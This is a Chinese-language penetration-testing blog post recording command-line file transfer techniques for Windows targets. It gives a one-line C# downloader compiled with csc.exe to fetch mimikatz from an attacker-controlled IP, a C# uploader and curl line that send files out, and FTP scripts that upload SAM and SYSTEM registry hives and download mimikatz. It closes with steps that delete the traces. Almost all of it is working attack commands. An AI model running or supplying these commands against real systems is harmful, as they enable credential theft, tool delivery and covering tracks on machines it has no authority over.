网络上关于命令行上传下载的文章很多,总结的也比较全面,写这篇文章的目的仅仅是为了记录一下自己在渗透测试过程中用到的方法,不求大而全,好用就行。
图片来源于http://www.taihainet.com/news/txnews/cnnews/sh/2016-04-17/1711205.html
#0x00 使用C#完成文件上传下载
(一)使用C#完成文件下载(下载文件mi.exe到目标机器)
1、把C#文件中的回车换行去掉,把代码写成一行,通过echo命令把代码写入c:\1.cs
echo using System.Net;namespace downloader{class Program{static void Main(string[] args){WebClient client = new WebClient();string URLAddress = @"http://172.30.10.49/mi.exe";string receivePath = @"C:\";client.DownloadFile(URLAddress, receivePath+System.IO.Path.GetFileName(URLAddress));}}} > c:\1.cs
2、编译C#文件为可执行文件
利用csc.exe编译C#文件,csc.exe的所在位置与 .NET Framework的版本有关,根据实际情况确定(可通过xp_cmdshell执行dir命令来确定csc.exe的位置。
C:\Windows\Microsoft.NET\Framework\v1.1.4322\csc.exe /out:C:\download.exe C:\1.cs'
3、运行download下载mimikatz到目标机器
C:\download.exe
4、mi.exe将被下载至C盘。
5、渗透完成后执行以下命令删除遗留文件1.cs、download.exe、mi.exe
del c:\1.cs
del c:\download.exe
del c:\mi.exe
(二)使用C#完成文件上传(上传文件test.txt到HTTPServer)
1、文件编译方法同上(一),上传用到的1.cs文件如下所示:
using System.Net;namespace uploader{class Program{static void Main(string[] args){WebClient client = new WebClient();client.Headers.Add(HttpRequestHeader.Referer,"rerefeR");string URLAddress = @"http://xxxx:8000";string myFile = @"C:\test.txt";client.Credentials = CredentialCache.DefaultCredentials;client.UploadFile(URLAddress, "POST", myFile);client.Dispose();}}}
2、启动HTTPServer
python SimpleHTTPServerWithUpload.py 8000
SimpleHTTPServerWithUpload.py下载
3、执行1.cs编译生成的可执行文件即可把C:\test.txt上传到HTTPServer机器的SimpleHTTPServerWithUpload.py所在目录。
补充:如果目标机器上有curl,可以通过下面的命令配合SimpleHTTPServerWithUpload.py上传文件:
curl xxxx:port -F "file=@/path/file" --header "referer:a"
二、利用ftp进行上传下载
(一)利用ftp从目标机器上传文件至ftp服务器
1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里
open 172.30.10.49 21 #ftp服务器地址
admin #username
admin #password
bin
PUT c:\sam.hive
PUT c:\system.hive
执行如下命令
echo open 172.30.10.49 21> c:\ftp.txt
echo admin>> c:\ftp.txt
echo admin>> c:\ftp.txt
echo bin>> c:\ftp.txt
echo PUT c:\sam.hive>> c:\ftp.txt
echo PUT c:\system.hive>> c:\ftp.txt
注意”>、»“前面不能有空格。
2、执行ftp命令
ftp -s:c:\ftp.txt
3、执行后sam.hive将被上传至ftp服务器根目录。
4、删除目标机器上的ftp.txt
del c:\ftp.txt
(二)利用ftp把文件下载至目标机器
1、把ftp命令写入文件
把下面的ftp命令写入目标机器的c:\ftp.txt里
open 172.30.10.49 21 #ftp服务器地址
admin #username
admin #password
bin
GET mimikatz.exe
依次执行如下命令
echo open 172.30.10.49 21> c:\ftp.txt
echo admin>> c:\ftp.txt
echo admin>> c:\ftp.txt
echo bin>> c:\ftp.txt
echo GET mimikatz.exe>> c:\ftp.txt
注意”>、»“前面不能有空格。
2、执行ftp命令
ftp -s:c:\ftp.txt
3、执行后mimikatz.exe将被下载到目标机器c盘根目录。